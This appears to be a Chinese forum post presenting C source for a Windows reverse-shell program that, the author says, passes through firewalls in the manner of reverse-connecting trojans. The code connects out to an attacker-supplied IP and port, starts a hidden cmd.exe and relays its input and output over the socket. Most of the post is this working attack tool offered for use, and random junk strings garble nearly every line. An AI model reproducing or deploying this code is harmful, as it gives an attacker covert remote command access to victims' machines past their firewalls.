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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 YZdp/X6x  
'tp1|n/1  
/* ============================== tm(.a ?p  
Rebound port in Windows NT O s@ d&wm  
By wind,2006/7 Bls\)$  
===============================*/ %9xz[Ng  
#include 41WnKz9c  
#include B`} ?rp  
.S17O}  
#pragma comment(lib,"wsock32.lib") n97A'"'wz  
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void OutputShell(); keEyE;O}u  
SOCKET sClient; 70l"[Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &CFHH"OsT  
/v E>*x  
void main(int argc,char **argv) B]q &?~  
{ ~&=-*  
WSADATA stWsaData; }N1Z7G  
int nRet; jx&pRjP  
SOCKADDR_IN stSaiClient,stSaiServer; ]C-hl}iq  
]%3o"|  
if(argc != 3) g6k@E,cI_  
{ YsXP$y]g-  
printf("Useage:\n\rRebound DestIP DestPort\n"); z{cIG8z  
return; v"Fa_+TVx  
} GmB7@-[QA%  
b,8W |  
WSAStartup(MAKEWORD(2,2),&stWsaData); Pm6/sO  
lN)U8  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {mMrD 5  
T&I*8 R~  
stSaiClient.sin_family = AF_INET; !j6]k^ra  
stSaiClient.sin_port = htons(0); NWSBqL5v   
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); q3B#rje>h  
>z1RCQWju  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O2?ye4uq  
{ ._"U{ f2V  
printf("Bind Socket Failed!\n"); ](4V 3w.  
return; HiEXw}Hkz  
} |0ahvsrtW  
Funep[rA  
stSaiServer.sin_family = AF_INET; X~GnK>R  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v&%GK5j7O  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ] FvN*@lG  
[nxjPx9-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) SEF/ D0  
{ W\o(f W  
printf("Connect Error!"); eP$0TDZ  
return; xXM`f0s@+]  
} ]QM6d(zDA  
OutputShell(); l=[<gPE  
} `9Zoq=/  
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void OutputShell() 9`+c<j4/B  
{ Uwr inkoeE  
char szBuff[1024]; I|,^a|\  
SECURITY_ATTRIBUTES stSecurityAttributes; B5aFt ;Vj  
OSVERSIONINFO stOsversionInfo; 8'_>A5L/C  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MOY.$M,1  
STARTUPINFO stStartupInfo; sXkWs2!  
char *szShell; %p)6m 2Sb  
PROCESS_INFORMATION stProcessInformation; 7\'vSHIL  
unsigned long lBytesRead; @;M( oFS9  
3Ln~"HwP  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); V= U=  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~sshhuF  
stSecurityAttributes.lpSecurityDescriptor = 0; Glcl7f"<^  
stSecurityAttributes.bInheritHandle = TRUE; &xMR{:  
={-\)j  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); h #Od tc1)  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); y.26:c(  
?N<* ATC L  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6]rIYc[,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k!b\qS~Q  
stStartupInfo.wShowWindow = SW_HIDE; Mb=vIk{B f  
stStartupInfo.hStdInput = hReadPipe; n;)!N  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; | Uf6k`  
v-J*PB.0p  
GetVersionEx(&stOsversionInfo); _9wX8fh3D  
G2U=*|  
switch(stOsversionInfo.dwPlatformId) mHB*4L  
{ ttuQ ,SD  
case 1: *+re2O)Eh'  
szShell = "command.com"; iXK.QktHw  
break; tbF>"?FY/  
default: qP6]}Aj]  
szShell = "cmd.exe"; '+N!3r{G  
break; t/LQ|/xo  
} \dTX%<5D  
&WE|9  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +',[q  
xGCW-YR9  
send(sClient,szMsg,77,0); ;3OQgKI  
while(1) wd2GKq!  
{ 0m $f9b|Q?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n]?Yv E  
if(lBytesRead) %eB0 )'  
{ i-w^pv'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,3 &XV%1  
send(sClient,szBuff,lBytesRead,0); j}3Avu%  
} orYE&  
else #'fh'$5"  
{ t=o0 #jo  
lBytesRead=recv(sClient,szBuff,1024,0); lxx)l(&  
if(lBytesRead<=0) break; x7)j?2  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <|[G=GA\S!  
} 5drc8_fZ  
} @H2c77%  
q`_d>l  
return; je@F:5  
}
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